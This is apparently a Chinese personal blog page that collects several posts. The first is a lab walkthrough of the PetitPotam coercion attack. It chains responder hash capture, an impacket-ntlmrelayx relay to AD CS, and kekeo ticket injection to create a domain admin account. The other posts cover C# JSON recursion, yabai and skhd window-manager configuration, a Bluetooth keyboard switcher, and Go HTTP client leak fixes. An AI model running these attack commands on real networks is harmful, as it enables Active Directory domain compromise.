Cond0r 发布的文章

Petitpotam

Petitpotam是继Windows PrintSpooler之后的一个无需验证,即可强制任意机器访问指定服务的漏洞。

环境

HostNameIP
Dian7DC1192.168.81.137
Dian7WIN10-2(DC2)192.168.81.141
Dian7WIN10-1(Client)192.168.81.142
Kali192.168.81.135

通过responder获取ntlmv2

# kali
responder -I eth0   

#win10-1
PetitPotam 192.168.81.135 192.168.81.142
PetitPotam 192.168.81.135 192.168.81.141
PetitPotam 192.168.81.135 192.168.81.137

-w902

通过ntlmreplayx获取票据

# kali 
impacket-ntlmrelayx -debug -smb2support --target http://192.168.81.137/certsrv/certfnsh.asp --adcs --template DomainContoller

# client 
PetitPotam 192.168.81.135 192.168.81.141

-w880

捕获到证书之后在使用kekao生成ptt

kekeo.exe
base64 /input:on

tgt::ask /pfx:{cert} /user:win10-2$ /domain:dian7.local /ptt

klist查看是否已经生成好

-w895

创建一个域管帐号
**疑问:理论上来说如果是多dc的情况下是到这部可以直接dcsync导出hash了,但是因为我实际只有一台dc,另一个win10过了一个domain admin权限的账户,导致不能通过直接该dc账户的票据去导出hash,所以只能通过该票据创建一个帐号
问题就在于,为啥这个win10的domain admins帐号不能使用票据注入之后的会话来dcsync导出hash
**

-w929

切换帐号

runas /user:dian7\ccc cmd

-w908

参考资料

https://docs.microsoft.com/en-us/answers/questions/76559/windows-ca-webenrollement-certificate-problems.html
https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
https://chryzsh.github.io/relaying-delegation/
https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack (需要使用该版本的impacket)
https://github.com/SecureAuthCorp/impacket/pull/1101
https://therecord.media/new-petitpotam-attack-forces-windows-hosts-to-share-their-password-hashes/
https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
https://github.com/topotam/PetitPotam
https://twitter.com/wdormann/status/1418576755389083662
https://blog.51cto.com/yaabb163/987138
https://www.cnblogs.com/firstdream/p/8515453.html
https://docs.microsoft.com/zh-cn/windows-server/identity/ad-fs/deployment/join-a-computer-to-a-domain
https://www.jianshu.com/p/a3ddd7502c09
https://video.twimg.com/tweet_video/E7AW7-aXEAEmy2X.mp4

有一个json,其某一个key包含的是自身,其实就是一个多叉树,通过NewtonsoftJson进行反序列化

json内容

[{
        "id": 1,
        "name": "c1",
        "type": "catelog",
        "text": "11",
        "sub": [{
            "id": 2,
            "name": "s1",
            "type": "catelog",
            "text": "123123",
            "sub": [{
                "id": 3,
                "name": "s2",
                "type": "text",
                "text": "3333",
                "sub": []

            }]

        }]

    },
    {
        "id": 4,
        "name": "c2",
        "type": "catelog",
        "text": "11",
        "sub": [{
            "id": 5,
            "name": "s5",
            "type": "123123aaa",
            "text": "33",
            "sub": [{
                "id": 6,
                "name": "s6",
                "type": "text",
                "text": "123123",
                "sub": []

            }]

        }]

    }
]

实现方法

首先声明一个数据类

  public class Result
    {
        public int id { get; set; }
        public string name { get; set; }
        public string type { get; set; }
        public string text { get; set; }
        public List<Result> sub { get; set; }
    }

然后是解码方法

class Catelogs
    {
        public List<Model.Result> subs;
        public void LoadSubs()
        {
            subs = new List<Model.Result>{ };
            string myJsonResponse =File.ReadAllText(@"c:\test\text.txt");
            subs = this.LoadSubs(myJsonResponse, subs);
            var s = subs;
            Console.WriteLine(subs);

        }
        private List<Model.Result> LoadSubs(string json, List<Model.Result> result)
        {
            JArray jar = (JArray)JsonConvert.DeserializeObject(json);
            // 读取数据到Jarray 然后进行bianli
            foreach (JObject item in jar)
            {
                var rowResult = new Model.Result();
                //继续便利所有的key value
                foreach (var row in item)
                {
                    // 通过识别不同的key value进行赋值
                    switch (row.Key)
                    {
                        case "id":
                            rowResult.id = (int)row.Value;
                            break;
                        case "name":
                            rowResult.name = row.Value.ToString();
                            break;
                        case "type":
                            rowResult.type = row.Value.ToString();
                            break;
                        case "text":
                            rowResult.text = row.Value.ToString();
                            break;
                        case "sub":
                            // 如果是sub 则调用自身进行递归
                            rowResult.sub = new List<Model.Result> { };
                            this.LoadSubs(row.Value.ToString(), rowResult.sub);
                            break;
                        default:
                            break;
                    }
                }
                result.Add(rowResult);
            }
            return result;
        }
    }

参考资料

https://blog.csdn.net/qq_36894527/article/details/103976964

效果图

-w1920

中间是通过buaq.net的api获取最近的文章,并且高亮高阅读量的文章

实现过程

前段时间折腾了一下arch+i3gaps,用了一段时间发现i3是真的爽,最吸引我的地方就是可以通过快捷键把程序发送到任何工作空间中,大大提高了效率;

然后我就寻思之前在mac上配置的yabai是不是也能达到这样的效果
最后发现是可以实现的,比如这条命令就是把当前窗口移动到space 1,并且把焦点也同时切换过去。

# 发送窗口到其他空间
yabai -m window --space 1;yabai -m space --focus 1

这个实现了之后呢,因为我有4个显示器,所有有时候开的space和程序会比较多,如果想找到程序运行在哪个space的话,要么靠记忆,要么就得一个一个找,不是很方便

然后在看yabai的wiki的时候发现可以直接查询每个space下运行了那些程序

> yabai -m query --windows --space 8
[{
    "id":95121,
    "pid":39081,
    "app":"iTerm2",
    "title":"yabai -m query --windows --space 8",
    "frame":{
        "x":-1910.0000,
        "y":40.0000,
        "w":1900.0000,
        "h":1010.0000
    },
    "level":0,
    "role":"AXWindow",
    "subrole":"AXStandardWindow",
    "movable":1,
    "resizable":1,
    "display":3,
    "space":8,
    "visible":1,
    "focused":1,
    "split":"none",
    "floating":0,
    "sticky":0,
    "minimized":0,
    "topmost":0,
    "opacity":1.0000,
    "shadow":0,
    "border":1,
    "stack-index":0,
    "zoom-parent":0,
    "zoom-fullscreen":1,
    "native-fullscreen":0
}]

这样的话就可以配合ubersicht来做一个statusbar去显示每个space中运行的程序了

    run(`/usr/local/bin/yabai -m query --windows`).then(space =>{
        if(space.length<10) return;
        windowsList={}
        space=JSON.parse(space);
        for (var key in space) {
            if (space.hasOwnProperty(key)) {
                var element = space[key];
                if(windowsList.hasOwnProperty(element.space)){
                    windowsList[element.space].push(element.app)
                    // windowsList[element.space].push(element.title)
                }else{
                    windowsList[element.space]=[element.app]
                    // windowsList[element.space]=[element.title]
                }
            }
        }
        console.log(windowsList)
    })

shkd配置文件

基本是按照i3的快捷键来的

alt - return : open -n /Applications/iTerm.app
# create new space
alt - n : yabai -m space --create
alt - d : yabai -m space --destroy


# fast focus desktop (切换空间焦点)
# cmd + alt - x : yabai -m space --focus recent
# cmd + alt - z : yabai -m space --focus prev
# cmd + alt - c : yabai -m space --focus next
alt - 1 : yabai -m space --focus 1
alt - 2 : yabai -m space --focus 2
alt - 3 : yabai -m space --focus 3
alt - 4 : yabai -m space --focus 4
alt - 5 : yabai -m space --focus 5
alt - 6 : yabai -m space --focus 6
alt - 7 : yabai -m space --focus 7
alt - 8 : yabai -m space --focus 8
alt - 9 : yabai -m space --focus 9
alt - 0 : yabai -m space --focus 10

# 发送窗口到其他空间
alt + shift - 1 : yabai -m window --space 1;yabai -m space --focus 1
alt + shift - 2 : yabai -m window --space 2;yabai -m space --focus 2
alt + shift - 3 : yabai -m window --space 3;yabai -m space --focus 3
alt + shift - 4 : yabai -m window --space 4;yabai -m space --focus 4
alt + shift - 5 : yabai -m window --space 5;yabai -m space --focus 5
alt + shift - 6 : yabai -m window --space 6;yabai -m space --focus 6
alt + shift - 7 : yabai -m window --space 7;yabai -m space --focus 7
alt + shift - 8 : yabai -m window --space 8;yabai -m space --focus 8
alt + shift - 9 : yabai -m window --space 9;yabai -m space --focus 9
alt + shift - 0 : yabai -m window --space 10;yabai -m space --focus 10

# 移动到不同的窗口上
alt - h : yabai -m window --focus west
alt - j : yabai -m window --focus south
alt - k : yabai -m window --focus north
alt - l : yabai -m window --focus east


# 调整窗口大小
alt + shift - h : \
    yabai -m window --resize left:-20:0 ; \
    yabai -m window --resize right:-20:0
 
alt + shift - j : \
    yabai -m window --resize bottom:0:20 ; \
    yabai -m window --resize top:0:20
 
alt + shift - k : \
    yabai -m window --resize top:0:-20 ; \
    yabai -m window --resize bottom:0:-20
 
alt + shift - l : \
    yabai -m window --resize right:20:0 ; \
    yabai -m window --resize left:20:0
 

# 平均分窗口布局
alt + shift - b : yabai -m space --balance

# 全屏当前窗口
alt - f         : yabai -m window --toggle zoom-fullscreen

# 旋转布局
alt - r         : yabai -m space --rotate 90
shift + alt - r : yabai -m space --rotate 270

链接

我的ubersicht的widget列表。
https://github.com/code-scan/ubersicht-widgets

鼠标用的是MX2,支持Logi Flow,但是键盘是HHKB自己该的YDKB的蓝牙主控,现在想在俩台电脑之间切换鼠标的时候也能自动切换键盘。

想到一个简单的解决方案,就是在MX2切换到另一个设备的时候,当前机器的蓝牙会断开链接,那么我只要发现一旦鼠标断开链接同时也就断开键盘的链接,然后再另一台电脑上判断一旦发现鼠标链接进来了,就自动链接蓝牙键盘

需要先安装blueutil和bluetoothconnector

brew install bluetoothconnector
brew install blueutil

1.0 版本

基于这个逻辑写了一个简单的bash脚本,但是发现挂后台不是很方便

#!/bin/bash

ConnectHHKB(){
    check=`blueutil --connected|grep HHKB|wc|awk '{print$1}'`
    if [ $check == "0" ]
    then
        bluetoothconnector --connect fb-fd-74-d3-60-61
    fi
}

DisConnectHHKB(){
    check=`blueutil --connected|grep HHKB|wc|awk '{print$1}'`
    if [ $check == "1" ]
    then
        bluetoothconnector --disconnect fb-fd-74-d3-60-61
    fi
}
check(){
    check=`blueutil --connected|grep MX|wc|awk '{print$1}'`
    if [ $check == "0" ]
    then
        DisConnectHHKB
    else
        ConnectHHKB
    fi
}
while True
do
    check
    sleep 0.1
done

hammerspoon版本

因为YDKB断开后会自动链接另一个设备,我只要去执行一个disconnect就可以了
然后写一个hamm的init.lua

local watcher = hs.timer.new(1, function ()
    local m = hs.mouse.count()
    if m==2 then
        hs.execute("bash ~/.hammerspoon/disconnect.sh",true)
        print("mouse disconnect")
    end
    print(m)
    -- hs.alert.show(m)
end)
watcher:start()

实际disconnect.sh

check=$(blueutil --connected | grep HHKB | wc | awk '{print$1}')
if [ $check == "1" ]; then
    bluetoothconnector --disconnect fb-fd-74-d3-60-61
fi

参考资料

https://www.hammerspoon.org/docs/hs.html
https://www.ahonn.me/blog/how-to-implement-clipboard-history-with-hammerspoon
https://www.hammerspoon.org/docs/hs.timer.html
https://www.hammerspoon.org/go/#helloworld

记一次go的http.client高并发踩坑记

最早在写求索的时候就遇到了同样的问题,但是因为求索并发并不是特别高,所以不是每次都能复显,我也不想一直挂着dlv去等。
最近在写一些扫描、爆破的小工具,遇到相同的问题,折腾了2天终于解决记录一下。
大概会出现这样的错误

net/http.(*persistconn).writeloop(0xc00b3498c0)

其实是3个问题

1. 创建大量client之后导致的协程溢出

这个问题有俩个原因

1.1 重复创建transport

默认使用http.Default.Get/http.NewRequest,都会创建一个新的transport,导致进行了大量的不必要的开销。
其实transport是可以复用的,本身http.client就是一个请求池

var transport http.Transport
func init() {
    transport = http.Transport{
        TLSClientConfig: &tls.Config{
            InsecureSkipVerify: true,
        },
    }
}
func (h *Http) Execute() *http.Response {
    defer func() {
        if err := recover(); err != nil {
            log.Println(err)
        }
    }()
    var err error
    //复用transport
    h.HttpClient.Transport = &transport
    h.HttpResponse, err = h.HttpClient.Do(h.HttpRequest)
    if err != nil {
        log.Println("[!] Http Execute Error : ", err)
        h.HttpResponse = nil
        return nil
    }
    return h.HttpResponse
}

1.2 HttpResponse.Body未完成完全读取

一般是开了大量的goroutine去执行http.client,但是最后导致client没有自动回收、关闭,导致goroutine的崩溃

goroutine 退出需要满足:

  • body 读取完毕
  • request 主动 cancel
  • request context Done 状态 true
  • 当前的 persistConn 关闭

比较常见的场景就是我们只去获取了header,并没有去读取body,然后就return了,据说不把body读完也会导致同样的问题
为了以防万一,我们把request也设置一个context进行手动Done

// 新建一个请求
func (h *Http) New(method, urls string) error {
    var err error
    //设置一个context
    h.Ctx, h.CtxCancel = context.WithCancel(context.Background())
    ....
    h.HttpRequest, err = http.NewRequest(h.HttpRequestType, h.HttpRequestUrl, h.HttpBody)
    h.HttpRequest.WithContext(h.Ctx)
    return err
}
// 关闭请求与body
func (h *Http) Close() {
    defer func() {
        if err := recover(); err != nil {
            log.Println(err)
        }
    }()
    
    if h.HttpResponse != nil {
       //读取内容并关闭body
        h.readAll()
    }
    if h.CtxCancel != nil {
       //主动停止request
        h.CtxCancel()
    }

}

2. 内存溢出

内存溢出的原因是因为一般我们读body都是这样的

resp:=make([]byte,512)
ioutil.ReadAll(HttpResponse.Body,resp)

这样每次读取一个新的都会进行一次makeslice操作,导致内存使用率增大,最后被系统强制killer

解决方案就是使用sync.Pool,创建一个byte的pool,每次都从pool里面去取空闲的出来使用

var pool sync.Pool
func init(){
//初始化一个pool
    pool = sync.Pool{
        New: func() interface{} {
            return bytes.NewBuffer(make([]byte, 4096))
        },
    }
}
.....
func (h *Http) readAll() ([]byte, error) {
    //获取一个新的,如果不存在则会调用new创建
    buffer := pool.Get().(*bytes.Buffer)
    buffer.Reset()
    defer func() {
        if buffer != nil {
            //重新放回去
            pool.Put(buffer)
            buffer = nil
        }
    }()
    if h.HttpResponse == nil {
        return nil, fmt.Errorf("HttpResponse is nil")
    }
    if h.HttpResponse.Body == nil {
        return nil, fmt.Errorf("HttpResponse.Body is nil")
    }
    _, err := io.Copy(buffer, h.HttpResponse.Body)
    if err != nil && err != io.EOF {
        //log.Printf("readAll io.copy failure error:%v \n", err)
        return nil, fmt.Errorf("readAll io.copy failure error:%v", err)
    }
    defer h.HttpResponse.Body.Close()
    return buffer.Bytes(), nil
}

参考资料

https://barbery.me/post/2019-08-02-fix-goroutine-memory-leak/
https://sanyuesha.com/2019/09/10/go-http-request-goroutine-leak/
http://xiaorui.cc/archives/7172
https://riptutorial.com/go/example/16314/sync-pool
https://studygolang.com/articles/16282